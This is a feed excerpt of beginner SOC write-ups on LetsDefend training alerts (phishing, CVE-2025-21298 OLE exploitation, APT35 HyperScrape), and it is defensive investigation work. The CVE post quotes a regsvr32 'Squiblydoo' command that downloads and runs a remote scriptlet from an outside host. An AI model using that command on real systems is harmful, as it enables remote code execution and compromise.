&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgmwtdhm90i4oxu926fur.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgmwtdhm90i4oxu926fur.png" alt="attachment" width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we copy the url from the email and look it up on VirusTotal we see the following:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9gk9oiaojooi3t1yenic.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9gk9oiaojooi3t1yenic.png" alt="virustotal" width="800" height="425"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;11 out of 91 vendors flag this URL as malicious.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsxzwyzhy2sowxajc4pta.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsxzwyzhy2sowxajc4pta.png" alt="malicious" width="800" height="477"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next question is:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8djyy2y2g25tg4g9rsb3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8djyy2y2g25tg4g9rsb3.png" alt="deliveredkya" width="800" height="276"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flmwibnti1csj0elnn7wd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flmwibnti1csj0elnn7wd.png" alt="alowed" width="800" height="319"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The the alert details, under the Action field, shows the value set to Allowed — confirming that the email was successfully delivered to the recipient.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1fr322da8xm5k9naln2l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1fr322da8xm5k9naln2l.png" alt="delivered" width="800" height="276"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffummpxhc1w2e639ndc90.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffummpxhc1w2e639ndc90.png" alt="delete" width="800" height="261"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our next task is to delete the email&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgog4eluno8958a2ua0ds.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgog4eluno8958a2ua0ds.png" alt="emailsecurity" width="800" height="318"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we move to the Email Security tab, look for the particular email and delete it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh28u31p533ji9mgbdjgv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh28u31p533ji9mgbdjgv.png" alt="deleted" width="800" height="318"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkc0q3c4syurfzrvw3oi6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkc0q3c4syurfzrvw3oi6.png" alt="playbook3" width="800" height="422"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we need to find out if Dylan accessed the malicious URL. We move to &lt;br&gt;
Endpoint Security and see if the URL was accessed&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftevoihp900ql841gb9h5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftevoihp900ql841gb9h5.png" alt="accessed" width="800" height="376"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We see that the URL was, in fact, accessed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxa2u29815zhfwm4j6f6o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxa2u29815zhfwm4j6f6o.png" alt="playbook4" width="800" height="314"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our next step is to contain the host.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7m5x49rddklf0iby196j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7m5x49rddklf0iby196j.png" alt="contained" width="800" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The machine is contained.&lt;/p&gt;

&lt;p&gt;Our next step is to add the artifacts:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjfofm64ilzniuetx3c2e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjfofm64ilzniuetx3c2e.png" alt="artifacts" width="800" height="518"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After putting Analyst's notes, we finish the playbook:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fep8f89nqrc1qeqp46676.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fep8f89nqrc1qeqp46676.png" alt="finish" width="800" height="253"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgw5r2ybw5vzahbf1zv5g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgw5r2ybw5vzahbf1zv5g.png" alt="close" width="588" height="430"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we close the alert on the monitoring page.&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>education</category>
      <category>networksec</category>
    </item>
    <item>
      <title>LetsDefend SOC336 - Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025-21298)</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Sun, 26 Apr 2026 19:18:10 +0000</pubDate>
      <link>https://zeroday.forem.com/hitanshugedam/letsdefend-soc336-windows-ole-zero-click-rce-exploitation-detected-cve-2025-21298-3k77</link>
      <guid>https://zeroday.forem.com/hitanshugedam/letsdefend-soc336-windows-ole-zero-click-rce-exploitation-detected-cve-2025-21298-3k77</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyykib4spsrzr7cfsk0fb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyykib4spsrzr7cfsk0fb.png" alt="taking ownership" width="800" height="272"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the alert we will be working with. &lt;br&gt;
Let's start with taking the ownership of this alert/&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr49b9at2zr012dtpynko.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr49b9at2zr012dtpynko.png" alt="tookownership" width="702" height="510"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's go ahead to the Investigation channel and create a case for this alert.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2lhy8tai6uktiuzgq0fc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2lhy8tai6uktiuzgq0fc.png" alt="nvd" width="800" height="441"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Above is the screenshot of what we see on the NIST National Vulnerability Database about the CVE of this alert.&lt;br&gt;
link: &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-21298" rel="noopener noreferrer"&gt;https://nvd.nist.gov/vuln/detail/CVE-2025-21298&lt;/a&gt;&lt;br&gt;
The severity has a score of 9.8 which means it is CRITICAL.&lt;/p&gt;

&lt;p&gt;This vulnerability allows attackers to execute remote code via specially crafted OLE (Object Linking and Embedding) objects without user interaction. Knowing this, I knew I needed to look for unusual child processes spawning from Office applications or script executions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgsnbjzloq33xway5flgh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgsnbjzloq33xway5flgh.png" alt=" " width="800" height="420"&gt;&lt;/a&gt;&lt;br&gt;
I went to the Endpoint Security tab and searched for the SMTP IP, looking through the "Processes" logs and here is what I found:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;cmd.exe was executed at 08:06:08 AM with Outlook.exe as it's Parent Process which is quite a red flag since an email client is RARELY needed to spawn a command shell prompt&lt;/li&gt;
&lt;li&gt;at 08:06:25 AM, cmd.exe spawned regsvr32.exe&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Malicious command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;C&lt;/span&gt;:\Windows\System32\cmd.exe &lt;span class="na"&gt;/c &lt;/span&gt;&lt;span class="nb"&gt;regsvr32.exe&lt;/span&gt; &lt;span class="na"&gt;/s /u /i&lt;/span&gt;&lt;span class="nl"&gt;:http&lt;/span&gt;://84.38.130.118.com/shell.sct &lt;span class="kd"&gt;scrobj&lt;/span&gt;.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command launches Windows Command Prompt to silently run regsvr32 with flags that suppress prompts (/s), unregister mode (/u), and pass a remote scriptlet URL via /i: to scrobj.dll, the Script Component runtime. In practice, this is a well-known “living off the land” technique often called Squiblydoo, where attackers abuse trusted Windows binaries to download and execute malicious code from a remote server while bypassing some application controls. The URL shown (&lt;a href="http://84.38.130.118.com/shell.sct" rel="noopener noreferrer"&gt;http://84.38.130.118.com/shell.sct&lt;/a&gt;) suggests retrieval of a .sct scriptlet named shell.sct, which is highly suspicious and commonly associated with malware payload delivery, persistence, or remote command execution. On a real system, this should be treated as a likely malicious execution attempt and investigated immediately (process tree, network logs, DNS resolution, downloaded content, persistence artifacts, EDR alerts).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2lcft3dc3uywgqt9eqf5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2lcft3dc3uywgqt9eqf5.png" alt="email" width="800" height="432"&gt;&lt;/a&gt;&lt;br&gt;
I head to Email Security as look for an email from the sender projectmanagement[@]pm[.]me  &lt;/p&gt;

&lt;p&gt;It contains an attachment named &lt;code&gt;mail.rtf&lt;/code&gt; with "infected" as its password.&lt;/p&gt;

&lt;p&gt;Now I go to VirusTotal and search the file hash on it&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F05enx1ynijvt4hbftoxg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F05enx1ynijvt4hbftoxg.png" alt="virustotal" width="800" height="418"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;25 out of 61 vendors flag this file as malicious.&lt;/p&gt;

&lt;p&gt;Because &lt;code&gt;regsvr32.exe&lt;/code&gt; was used to run a remote script and possibly leverage &lt;code&gt;scrobj.dll&lt;/code&gt;, the activity strongly suggested an ongoing system compromise. Since the remote payload’s exact functionality was unknown—it could have been a reverse shell, ransomware loader, or command-and-control beacon—the system needed to be isolated immediately.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvzpwkn2psfluj13ndl88.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvzpwkn2psfluj13ndl88.png" alt="contained" width="800" height="425"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Following were my answers for the playbook:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F14rrwr0e5noz5rbkx2gh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F14rrwr0e5noz5rbkx2gh.png" alt="pb1" width="800" height="378"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp8vyzfmgpgo2ua30cpfo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp8vyzfmgpgo2ua30cpfo.png" alt="pb2" width="800" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftr2ieflaqy8gw1y203dk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftr2ieflaqy8gw1y203dk.png" alt="log2" width="800" height="448"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looking at the above screenshot we can see the source IP (internal network) contacted the destination IP which is the SMTP IP in the alert. So, C2 communication did take place&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fko5kx3h51l8u5m1cwtwr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fko5kx3h51l8u5m1cwtwr.png" alt="pb3" width="800" height="471"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flpb153sieebpu90nm16z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flpb153sieebpu90nm16z.png" alt="contain" width="800" height="371"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We already contained the affected host.&lt;/p&gt;

&lt;p&gt;Artifacts are added:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdnk8mk6kchzs8tu16mnv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdnk8mk6kchzs8tu16mnv.png" alt="artifacts" width="800" height="593"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After adding the Analyst's notes, we finish the playbook:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Friv22x29rbzemznblf4v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Friv22x29rbzemznblf4v.png" alt="finish" width="800" height="254"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>education</category>
      <category>networksec</category>
    </item>
    <item>
      <title>LetsDefend SOC250 - APT35 HyperScrape Data Exfiltration Tool Detected</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Sun, 26 Apr 2026 12:15:58 +0000</pubDate>
      <link>https://zeroday.forem.com/hitanshugedam/letsdefend-soc250-apt35-hyperscrape-data-exfiltration-tool-detected-3c03</link>
      <guid>https://zeroday.forem.com/hitanshugedam/letsdefend-soc250-apt35-hyperscrape-data-exfiltration-tool-detected-3c03</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkttonhp95wmjj1e2s2e4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkttonhp95wmjj1e2s2e4.png" alt="takeownership" width="800" height="313"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We start by taking the ownership of the alert.&lt;/p&gt;

&lt;p&gt;Next we create case for the alert.&lt;/p&gt;

&lt;p&gt;Next step is for us too start the playbook&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1u1gfruyn0u1dbkjhkl0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1u1gfruyn0u1dbkjhkl0.png" alt="playbook" width="800" height="226"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before we move ahead, let's search for the file's hash on VirusTotal:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5vz21fhe43hjny3osj2f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5vz21fhe43hjny3osj2f.png" alt="virustotal" width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;50 out of 70 vendors flag it as malicious, enough for us to conclude that is is.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvkt3wmirg3n0hgprtdui.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvkt3wmirg3n0hgprtdui.png" alt="enfpoint" width="800" height="382"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we move on to Endpoint Security to find if the malware was actually running on the infected host, and from the above screenshot we see that it is.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyi5lyhqt3kf199ftbwb8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyi5lyhqt3kf199ftbwb8.png" alt="logdescription" width="800" height="388"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since the rule says that it was a data exfiltration attempt, the next step is we move on to Log Management and filter the logs with the IP as the filter.&lt;br&gt;
The firewall action saying SUCCESS, means that the firewall allowed it.&lt;/p&gt;

